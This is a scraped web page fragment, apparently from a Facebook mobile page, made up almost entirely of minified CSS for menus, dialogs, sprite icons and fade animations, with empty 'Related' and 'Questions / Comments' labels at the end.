{ font-weight: bold } .unread { padding-left: 1px; border-left: 2px solid #a8b2ce } .voice .highlight { left: 0; position: absolute; top: -1px } .touch .voiceTitle { display: inline; font-size: inherit; font-weight: inherit; word-wrap: break-word } .touch .voice { padding: 8px; position: relative } .touch .unread { border-left-width: 3px; padding-left: 2px } .touch .voice .ib .l { margin-right: 8px } .touch .voice .machineIcon { padding-top: 2px; text-align: right; width: 40px } .touch .voice .actions { margin-top: 4px } ._55i1 { background: transparent; border: none; box-sizing: border-box; color: #1d2129; display: none; font-size: 14px; height: 44px; line-height: 44px; margin: 0; padding: 0 24px; position: relative; width: 100% } ._58a0 { display: block; font-weight: bold; overflow: hidden; text-overflow: ellipsis; white-space: nowrap } ._7j3y { color: #90949c; font-size: 12px; font-weight: normal; height: auto; line-height: normal; overflow: visible; padding: 16px 24px 16px; white-space: normal } ._55i0 ._58a0 { display: inline-block; width: auto } ._55i1.touched { position: relative; z-index: 3 } ._58a0.touched:after { background-color: #dadde1; border-radius: 2px; bottom: 2px; content: ''; left: 2px; position: absolute; right: 2px; top: 2px; z-index: -1 } ._55i0 ._55i1:first-child { border-bottom-left-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 0 } ._55i0 ._55i1:last-child { border-bottom-left-radius: 0; border-bottom-right-radius: 3px; border-top-right-radius: 3px } ._55i0 ._55i1:only-child { border-radius: 3px } .touch ._58a0~._58a0:before { background-image: linear-gradient( to right, rgba(200, 200, 201, 0) 0%, rgba(200, 200, 201, 1) 50%, rgba(200, 200, 201, 0) 100% ); content: ''; height: 1px; left: 0; position: absolute; top: 0; width: 100%; z-index: 2 } .touch ._55i0 ._58a0:before { background-image: linear-gradient( rgba(200, 200, 201, 0) 0%, rgba(200, 200, 201, 1) 50%, rgba(200, 200, 201, 0) 100% ); bottom: 1px; height: auto; top: 1px; width: 1px } .x2 ._58a0~._58a0:before { border-bottom: 1px solid #fff; transform: translateY(-0.5px) scaleY(.5) } .x2 ._55i0 ._58a0~._58a0:before { border-right: 1px solid #fff; border-top-style: none; transform: translateX(-0.5px) scaleX(.5) } ._55i1._53n6 { box-sizing: border-box; height: 50px; padding-left: 12px; padding-right: 12px; text-align: left } ._53n6 ._320u { bottom: 0; left: 0; position: absolute; text-align: center; top: 0; width: 44px } ._53n6 ._320u:before { content: ''; display: inline-block; height: 100%; vertical-align: middle } ._53n6 ._53n7 { vertical-align: middle } ._53n6 ._53n8 { line-height: 20px; padding-top: 7px } ._53n6 ._320v { line-height: 50px; padding-top: 0 } ._53n6 ._53n9 { box-sizing: border-box; display: inline-block; height: 50px; line-height: 16px; padding-left: 32px; width: 100% } ._320v ._12u6 { display: none } ._5so { height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 11 } ._5so._2wyb { background-color: rgba(0, 0, 0, .5) } .touch ._544l { height: 0; left: 0; position: absolute; text-align: left; width: 100% } .accelerate._544l { z-index: 12 } ._544k { box-sizing: border-box; overflow: hidden; padding: 16px 0 28px; pointer-events: none; position: absolute; width: 100% } ._5bo0 { border-radius: 3px; margin: auto 0; pointer-events: auto; position: relative; text-align: left } ._55kj { margin: auto 8px } ._54wl { margin: auto 16px } ._556f { display: inline-block; margin: auto auto; max-width: 100% } ._99wx._556f { max-width: 50% } ._99wy._556f { max-width: 60% } ._5bn_ { bottom: -4px; left: 0; pointer-events: none; position: absolute; width: 52px; z-index: 1 } ._5bo2 { bottom: 0 } ._5bo1 { top: 0 } ._5c0e { background: #fff; border-radius: 3px; bottom: 0; left: 0; position: absolute; right: 0; top: 0; z-index: -1 } ._8gq3 ._5c0e { margin-right: 5px } ._5bo1 ._5bn_ { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 -35px; bottom: auto; height: 22px; top: -20px } ._5bo2 ._5bn_ { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-repeat: no-repeat; background-size: 53px 388px; background-position: 0 0; bottom: -32px; height: 34px } ._5c0e::after { border-image: url(/rsrc.php/v3/yl/r/O-j0bAffmS0.png) 40 45 45 45 repeat; border-style: solid; border-width: 40px 45px 45px; bottom: -28px; color: transparent; content: ''; left: -24px; pointer-events: none; position: absolute; right: -24px; top: -16px } .x1-5 ._5c0e::after,.x2 ._5c0e::after { border-image: url(/rsrc.php/v3/y9/r/T0jO7iJKFcp.png) 80 90 90 90 repeat } ._5c0f>:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px } ._5c0f>:last-child { border-bottom-left-radius: 3px; border-bottom-right-radius: 3px } ._544l._27tw { width: 80% } .touch ._5m_x { height: 0; position: absolute; width: 100%; z-index: 13 } .touch ._3wo2 ._5m_x { z-index: 25 } ._4sc_,._5m_v,._7teu { box-sizing: border-box; overflow: hidden; pointer-events: none; position: absolute; width: 100%; z-index: 0 } ._5m_v { padding-bottom: 28px } ._7teu { align-content: center; display: flex; height: 100vh; justify-content: center } ._5m_u { border-radius: 3px; margin: auto 0; pointer-events: auto; position: relative; text-align: left } ._7e0o ._5m_u { background: transparent; border-radius: 2.7px; display: block; height: auto!important; margin: 0 auto 0 auto; width: 83vw } ._5m_w { background: rgba(0, 0, 0, .5); bottom: 0; left: 0; pointer-events: auto; position: fixed; top: -600px; width: 100%; z-index: -2 } ._7e0o ._5m_w { background: rgba(0, 0, 0, .6) } ._7e0o ._5m_v { top: 50vh; transform: translateY(-50%) } ._5m_t>:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px } ._5m_t>:last-child { border-bottom-left-radius: 3px; border-bottom-right-radius: 3px } ._5m_s { background: #fff; border-radius: 3px; bottom: 0; left: 0; position: absolute; right: 0; top: 0; z-index: -1 } ._5m_s::after { border-color: transparent; border-image: url(/rsrc.php/v3/yl/r/O-j0bAffmS0.png) 40 45 45 45 repeat; border-style: solid; border-width: 40px 45px 45px; bottom: -28px; content: ''; left: -24px; pointer-events: none; position: absolute; right: -24px; top: -16px } .x1-5 ._5m_s::after,.x2 ._5m_s::after { border-image: url(/rsrc.php/v3/y9/r/T0jO7iJKFcp.png) 80 90 90 90 repeat } .sp__p1ZvBUFC-z_3x { background-image: url(/rsrc.php/v3/yd/r/qZjYopQP1u_.png); background-size: 53px 388px; background-repeat: no-repeat; display: inline-block; height: 20px; width: 16px } .sp__p1ZvBUFC-z_3x.sx_06d013 { width: 20px; background-position: -25px -207px } .sp__p1ZvBUFC-z_3x.sx_683fe6 { width: 20px; background-position: 0 -232px } .sp__p1ZvBUFC-z_3x.sx_77db67 { width: 24px; height: 24px; background-position: 0 -157px } .sp__p1ZvBUFC-z_3x.sx_fa9de4 { width: 24px; height: 24px; background-position: -25px -157px } .sp__p1ZvBUFC-z_3x.sx_778f8b { width: 20px; background-position: -21px -232px } .sp__p1ZvBUFC-z_3x.sx_77234a { width: 12px; height: 12px; background-position: -34px -141px } .sp__p1ZvBUFC-z_3x.sx_bdfa04 { width: 12px; height: 12px; background-position: -17px -371px } .sp__p1ZvBUFC-z_3x.sx_9f2eb8 { width: 20px; background-position: 0 -253px } .sp__p1ZvBUFC-z_3x.sx_eafe29 { width: 24px; height: 24px; background-position: 0 -182px } .sp__p1ZvBUFC-z_3x.sx_ce5eec { height: 16px; background-position: -34px -124px } .sp__p1ZvBUFC-z_3x.sx_2c6d1d { height: 16px; background-position: 0 -337px } .sp__p1ZvBUFC-z_3x.sx_f35fe6 { height: 16px; background-position: -17px -337px } .sp__p1ZvBUFC-z_3x.sx_78fd43 { height: 16px; background-position: -34px -337px } .sp__p1ZvBUFC-z_3x.sx_97864d { height: 16px; background-position: 0 -354px } .sp__p1ZvBUFC-z_3x.sx_5b5ee5 { height: 16px; background-position: -17px -354px } .sp__p1ZvBUFC-z_3x.sx_4ef241 { height: 16px; background-position: -34px -354px } .sp__p1ZvBUFC-z_3x.sx_760576 { width: 24px; height: 24px; background-position: -25px -182px } .sp__p1ZvBUFC-z_3x.sx_d02f3d { width: 24px; height: 24px; background-position: 0 -207px } .sp__p1ZvBUFC-z_3x.sx_6aa8f9 { height: 16px; background-position: 0 -371px } .sp__p1ZvBUFC-z_3x.sx_a85738 { width: 20px; background-position: -21px -253px } .sp__p1ZvBUFC-z_3x.sx_692824 { width: 20px; background-position: 0 -274px } .sp__p1ZvBUFC-z_3x.sx_61c4ed { width: 32px; height: 32px; background-position: 0 -58px } .sp__p1ZvBUFC-z_3x.sx_e3ff80 { width: 32px; height: 32px; background-position: 0 -91px } .sp__p1ZvBUFC-z_3x.sx_7b2199 { width: 11px; height: 11px; background-position: -30px -371px } .sp__p1ZvBUFC-z_3x.sx_6fc8ed { width: 10px; height: 11px; background-position: -42px -371px } .sp__p1ZvBUFC-z_3x.sx_af6b11 { height: 32px; background-position: -33px -58px } .sp__p1ZvBUFC-z_3x.sx_28a932 { height: 32px; background-position: -33px -91px } .sp__p1ZvBUFC-z_3x.sx_ec3cbb { height: 32px; background-position: 0 -124px } .sp__p1ZvBUFC-z_3x.sx_b7c033 { height: 32px; background-position: -17px -124px } .sp__p1ZvBUFC-z_3x.sx_d2ce27 { width: 10px; height: 9px; background-position: -42px -232px } .sp__p1ZvBUFC-z_3x.sx_2a501e { width: 20px; background-position: -21px -274px } .sp__p1ZvBUFC-z_3x.sx_9b17fe { width: 20px; background-position: 0 -295px } .sp__p1ZvBUFC-z_3x.sx_9dada5 { width: 20px; background-position: -21px -295px } .sp__p1ZvBUFC-z_3x.sx_cb1279 { width: 20px; background-position: 0 -316px } .sp__p1ZvBUFC-z_3x.sx_b4823d { width: 20px; background-position: -21px -316px } .sp__p1ZvBUFC-z_3x.sx_f68434 { width: 52px; height: 34px; background-position: 0 0 } .sp__p1ZvBUFC-z_3x.sx_2aedd1 { width: 52px; height: 22px; background-position: 0 -35px } ._3fcy { background: rgba(0, 0, 0, .6); border-radius: 22px; color: #fff; font-family: Roboto, sans-serif; max-width: 80%; min-height: 18px; padding: 12px 20px; text-align: center } ._2jow { animation: fadein .5s ease-in; -webkit-backface-visibility: hidden; display: flex; flex-direction: row; justify-content: center; position: fixed; top: 50%; width: 100%; z-index: 1000 } ._2jow ._66m3 { display: flex } ._2jow._3fc- { bottom: 10%; top: unset } ._4zke ._2jow { animation: fadeout .75s ease-out; opacity: 0; visibility: hidden } @keyframes fadein { from { opacity: 0; visibility: hidden } to { opacity: 1; visibility: visible } } @keyframes fadeout { from { opacity: 1; visibility: visible } to { opacity: 0; visibility: hidden } } /*FB_PKG_DELIM*/ #bootloader_WSmjVh7 { height: 42px; } .bootloader_WSmjVh7 { display: block!important; }

Related: See More


Questions / Comments: